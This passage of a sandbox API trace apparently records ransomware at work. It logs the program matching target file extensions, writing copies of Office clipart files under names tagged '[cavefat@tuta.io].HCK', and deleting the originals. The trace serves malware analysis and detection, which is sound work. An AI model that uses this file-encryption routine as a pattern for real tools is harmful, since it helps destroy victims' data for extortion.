Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF") returned 68 [0171.871] lstrlenW (lpString=".dbf") returned 4 [0171.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF") returned 68 [0171.871] lstrlenW (lpString=".1cd") returned 4 [0171.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF") returned 68 [0171.871] lstrlenW (lpString=".jpg") returned 4 [0171.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF") returned 68 [0171.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF") returned 68 [0171.871] lstrlenW (lpString=".doc") returned 4 [0171.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.871] lstrlenW (lpString=".docx") returned 5 [0171.871] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.871] lstrlenW (lpString=".pdf") returned 4 [0171.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.871] lstrlenW (lpString=".xls") returned 4 [0171.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.871] lstrlenW (lpString=".xlsx") returned 5 [0171.871] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.871] lstrlenW (lpString=".ppt") returned 4 [0171.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF") returned 68 [0171.871] lstrlenW (lpString=".zip") returned 4 [0171.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.871] lstrlenW (lpString=".rar") returned 4 [0171.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.871] lstrlenW (lpString=".bz2") returned 4 [0171.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.872] lstrlenW (lpString=".7z") returned 3 [0171.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF") returned 68 [0171.872] lstrlenW (lpString=".dbf") returned 4 [0171.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF") returned 68 [0171.872] lstrlenW (lpString=".1cd") returned 4 [0171.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF") returned 68 [0171.872] lstrlenW (lpString=".jpg") returned 4 [0171.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.872] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.872] lstrlenW (lpString="J0287024.WMF") returned 12 [0171.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0171.876] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=50898) returned 1 [0171.876] CloseHandle (hObject=0x368) returned 1 [0171.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287024.wmf")) returned 0x220 [0171.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287024.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0171.886] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.886] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287024.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.894] GetLastError () returned 0x0 [0171.894] ReadFile (in: hFile=0x354, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xc6d2, lpOverlapped=0x0) returned 1 [0171.896] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xc6e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xc6e0, lpOverlapped=0x0) returned 1 [0171.897] ReadFile (in: hFile=0x354, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.897] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.897] SetEndOfFile (hFile=0x3ac) returned 1 [0171.904] CloseHandle (hObject=0x3ac) returned 1 [0171.904] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.904] SetEndOfFile (hFile=0x354) returned 1 [0171.905] CloseHandle (hObject=0x354) returned 1 [0171.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287024.wmf")) returned 1 [0171.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF") returned 68 [0171.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF") returned 68 [0171.908] lstrlenW (lpString=".doc") returned 4 [0171.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.908] lstrlenW (lpString=".docx") returned 5 [0171.908] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.908] lstrlenW (lpString=".pdf") returned 4 [0171.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.908] lstrlenW (lpString=".xls") returned 4 [0171.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.908] lstrlenW (lpString=".xlsx") returned 5 [0171.908] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.908] lstrlenW (lpString=".ppt") returned 4 [0171.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF") returned 68 [0171.908] lstrlenW (lpString=".zip") returned 4 [0171.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.908] lstrlenW (lpString=".rar") returned 4 [0171.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.909] lstrlenW (lpString=".bz2") returned 4 [0171.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.909] lstrlenW (lpString=".7z") returned 3 [0171.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF") returned 68 [0171.909] lstrlenW (lpString=".dbf") returned 4 [0171.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF") returned 68 [0171.909] lstrlenW (lpString=".1cd") returned 4 [0171.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF") returned 68 [0171.909] lstrlenW (lpString=".jpg") returned 4 [0171.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF") returned 68 [0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF") returned 68 [0171.909] lstrlenW (lpString=".doc") returned 4 [0171.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.909] lstrlenW (lpString=".docx") returned 5 [0171.909] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.909] lstrlenW (lpString=".pdf") returned 4 [0171.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.909] lstrlenW (lpString=".xls") returned 4 [0171.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.909] lstrlenW (lpString=".xlsx") returned 5 [0171.909] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.909] lstrlenW (lpString=".ppt") returned 4 [0171.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF") returned 68 [0171.909] lstrlenW (lpString=".zip") returned 4 [0171.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.909] lstrlenW (lpString=".rar") returned 4 [0171.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.909] lstrlenW (lpString=".bz2") returned 4 [0171.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.909] lstrlenW (lpString=".7z") returned 3 [0171.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF") returned 68 [0171.909] lstrlenW (lpString=".dbf") returned 4 [0171.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF") returned 68 [0171.909] lstrlenW (lpString=".1cd") returned 4 [0171.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF") returned 68 [0171.909] lstrlenW (lpString=".jpg") returned 4 [0171.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.910] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.910] lstrlenW (lpString="J0287415.WMF") returned 12 [0171.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.915] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=43020) returned 1 [0171.915] CloseHandle (hObject=0x374) returned 1 [0171.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287415.wmf")) returned 0x220 [0171.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287415.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.924] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.924] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287415.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.928] GetLastError () returned 0x0 [0171.928] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xa80c, lpOverlapped=0x0) returned 1 [0171.931] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xa810, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xa810, lpOverlapped=0x0) returned 1 [0171.932] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.932] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.932] SetEndOfFile (hFile=0x39c) returned 1 [0171.938] CloseHandle (hObject=0x39c) returned 1 [0171.941] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.941] SetEndOfFile (hFile=0x394) returned 1 [0171.945] CloseHandle (hObject=0x394) returned 1 [0171.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287415.wmf")) returned 1 [0171.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF") returned 68 [0171.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF") returned 68 [0171.948] lstrlenW (lpString=".doc") returned 4 [0171.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.948] lstrlenW (lpString=".docx") returned 5 [0171.948] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.948] lstrlenW (lpString=".pdf") returned 4 [0171.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.948] lstrlenW (lpString=".xls") returned 4 [0171.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.948] lstrlenW (lpString=".xlsx") returned 5 [0171.948] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.948] lstrlenW (lpString=".ppt") returned 4 [0171.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF") returned 68 [0171.948] lstrlenW (lpString=".zip") returned 4 [0171.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.948] lstrlenW (lpString=".rar") returned 4 [0171.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.948] lstrlenW (lpString=".bz2") returned 4 [0171.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.948] lstrlenW (lpString=".7z") returned 3 [0171.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF") returned 68 [0171.948] lstrlenW (lpString=".dbf") returned 4 [0171.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF") returned 68 [0171.948] lstrlenW (lpString=".1cd") returned 4 [0171.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF") returned 68 [0171.948] lstrlenW (lpString=".jpg") returned 4 [0171.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF") returned 68 [0171.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF") returned 68 [0171.949] lstrlenW (lpString=".doc") returned 4 [0171.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.949] lstrlenW (lpString=".docx") returned 5 [0171.949] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.949] lstrlenW (lpString=".pdf") returned 4 [0171.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.949] lstrlenW (lpString=".xls") returned 4 [0171.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.949] lstrlenW (lpString=".xlsx") returned 5 [0171.949] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.949] lstrlenW (lpString=".ppt") returned 4 [0171.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF") returned 68 [0171.949] lstrlenW (lpString=".zip") returned 4 [0171.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.949] lstrlenW (lpString=".rar") returned 4 [0171.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.949] lstrlenW (lpString=".bz2") returned 4 [0171.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.949] lstrlenW (lpString=".7z") returned 3 [0171.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF") returned 68 [0171.949] lstrlenW (lpString=".dbf") returned 4 [0171.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF") returned 68 [0171.949] lstrlenW (lpString=".1cd") returned 4 [0171.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF") returned 68 [0171.949] lstrlenW (lpString=".jpg") returned 4 [0171.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.949] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0171.949] lstrlenW (lpString="J0287643.JPG") returned 12 [0171.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.954] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16017) returned 1 [0171.954] CloseHandle (hObject=0x374) returned 1 [0171.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg")) returned 0x220 [0171.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0171.959] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.959] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.970] GetLastError () returned 0x0 [0171.970] ReadFile (in: hFile=0x384, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3e91, lpOverlapped=0x0) returned 1 [0171.971] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3ea0, lpOverlapped=0x0) returned 1 [0171.972] ReadFile (in: hFile=0x384, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.972] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.972] SetEndOfFile (hFile=0x394) returned 1 [0171.973] CloseHandle (hObject=0x394) returned 1 [0171.975] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.975] SetEndOfFile (hFile=0x384) returned 1 [0171.978] CloseHandle (hObject=0x384) returned 1 [0171.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg")) returned 1 [0171.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG") returned 68 [0171.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG") returned 68 [0171.987] lstrlenW (lpString=".doc") returned 4 [0171.987] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0171.987] lstrlenW (lpString=".docx") returned 5 [0171.987] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0171.987] lstrlenW (lpString=".pdf") returned 4 [0171.987] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0171.987] lstrlenW (lpString=".xls") returned 4 [0171.987] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0171.987] lstrlenW (lpString=".xlsx") returned 5 [0171.987] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0171.987] lstrlenW (lpString=".ppt") returned 4 [0171.987] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0171.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG") returned 68 [0171.987] lstrlenW (lpString=".zip") returned 4 [0171.987] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0171.987] lstrlenW (lpString=".rar") returned 4 [0171.987] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0171.987] lstrlenW (lpString=".bz2") returned 4 [0171.987] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0171.987] lstrlenW (lpString=".7z") returned 3 [0171.987] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0171.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG") returned 68 [0171.987] lstrlenW (lpString=".dbf") returned 4 [0171.987] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0171.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG") returned 68 [0171.987] lstrlenW (lpString=".1cd") returned 4 [0171.987] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0171.987] lstrlenW (lpString="C:\\Program Files\\Microsoft 